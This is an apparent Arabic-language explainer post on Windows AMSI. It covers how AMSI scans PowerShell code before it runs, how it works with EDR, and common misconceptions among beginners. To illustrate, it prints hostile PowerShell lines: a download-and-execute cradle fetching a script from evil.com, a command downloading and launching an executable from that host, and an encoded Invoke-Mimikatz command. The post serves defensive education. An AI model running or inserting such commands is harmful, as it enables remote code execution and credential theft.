شرح AMSI وكيف يحمي ويندوز من هجمات PowerShell

تخيّل إنك كتبت أمر في PowerShell، قبل ما الأمر يتنفذ، في واحد واقف يراجع اللي كتبته ويقول:
✅ آمن؟ كمّل
❌ خطر؟ وقف فورًا
الحارس ده اسمه AMSI - Anti-Malware Scan Interface 🛡️ وده يعتبر حلقة الوصل بين:

• البرامج اللي بتشغّل كود (زي PowerShell)
• برامج الحماية (زي Windows Defender)

ببساطة؟
📌 أي كود يعدّي على AMSI الأول قبل ما يتنفذ

ليه مايكروسوفت عملت AMSI؟ 🤔​

زمان، برامج الحماية كانت بتركّز على:

• الملفات اللي على الهارد 💾
  يعني لو شغّلت ملف exe، يتم فحصه وخلاص.

لكن المشكلة ظهرت هنا 👇
ماذا لو:

• مفيش ملف أصلًا؟
• الكود شغال من الذاكرة مباشرة؟

مثال خطير 👀​

IEX (New-Object Net.WebClient).DownloadString('http://evil.com/hack.ps1')

الأمر ده:

• ❌ ما كتبش ملف
• ⚡ شغّل الكود من الذاكرة
• 🚫 الحماية القديمة ما تشوفش حاجة

وهنا ظهر AMSI عشان: ✅ يفحص الكود أثناء التنفيذ مش بعده

---

كيف يعمل AMSI خطوة بخطوة؟ ⚙️​

السيناريو بسيط جدًا:
1️⃣ انت تكتب أمر في PowerShell
2️⃣ PowerShell يوقف لحظة
3️⃣ يبعت الكود لـ AMSI
4️⃣ AMSI يديه لبرنامج الحماية
5️⃣ القرار:

• 🟢 آمن → يتنفذ
• 🔴 خطر → يتمنع

📢 AMSI مش بيقرر لوحده، هو بس الوسيط

---

AMSI بيفحص إيه بالظبط؟ 🧐​

AMSI مش ساذج، ومش بيدوّر على كلمات وخلاص.

1️⃣ أسماء أوامر معروفة​

لو كتبت: Invoke-Mimikatz
🚨 الاسم لوحده إنذار خطر

2️⃣ السلوك المتوقع​

حتى لو غيرت الأسماء، AMSI بيسأل:

• هل الكود بيحمّل ملف؟
• هل بيشغله فورًا؟
• هل بيحاول يوقف الحماية؟

Invoke-WebRequest http://evil.com/a.exe -OutFile a.exe
Start-Process a.exe

🟥 سلوك واضح = هجوم

3️⃣ الأنماط (Patterns)​

حتى لو الكود مكتوب بشكل مختلف، لو النمط شبه هجوم معروف → يتم اكتشافه.

---

هل التشفير يخدع AMSI؟ ❌​

ناس كتير فاكرة إن: "لو شفرت الكود Base64 خلاص كده أمان" وده غلط تمامًا ❌
مثال:

powershell -EncodedCommand SQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoA

🔎 PowerShell:

• يفك التشفير الأول
• يبعت الكود الحقيقي لـ AMSI

يعني AMSI هيشوف: Invoke-Mimikatz 🚨 ويتمنع فورًا

---

علاقة AMSI بأنظمة EDR 🧠​

يعني إيه EDR؟​

Endpoint Detection and Response أنظمة ذكية بتراقب كل اللي بيحصل على الجهاز.
📌 AMSI هو: عين الـ EDR جوه PowerShell وباقي السكربتات

سيناريو خطير:​

1️⃣ Word اتفتح
2️⃣ فتح PowerShell
3️⃣ PowerShell حمّل ملف
4️⃣ حاول يسرق بيانات
💥 الـ EDR يربط الأحداث ويقول: ده هجوم كامل مش صدفة

---

أخطاء شائعة عند المبتدئين ❌​

❌ "لو عطّلت AMSI أنا بأمان"​

غلط ❌
لسه في:

• Event Logs
• ETW
• Network Monitoring
• Memory Scanning

AMSI طبقة واحدة بس 🧱

❌ "أغيّر أسماء الأوامر وخلاص"​

تغيير:
Invoke-Mimikatz
Inv0ke-Mim1k@tz
مش كفاية لأن السلوك نفسه لسه موجود

---

الخلاصة 🧠​

AMSI:

• مش عدو
• مش حاجة تتكسر
• ده نظام معمول عشان يحمي ويندوز بذكاء

لو انت Red Teamer محترف: لازم تفهم AMSI الأول 👉 قبل ما تفكر إزاي تشتغل في بيئة حقيقية
ولو Blue Team / SOC: AMSI 👉 صديقك الأقرب في كشف الهجمات المبكرة 🛡️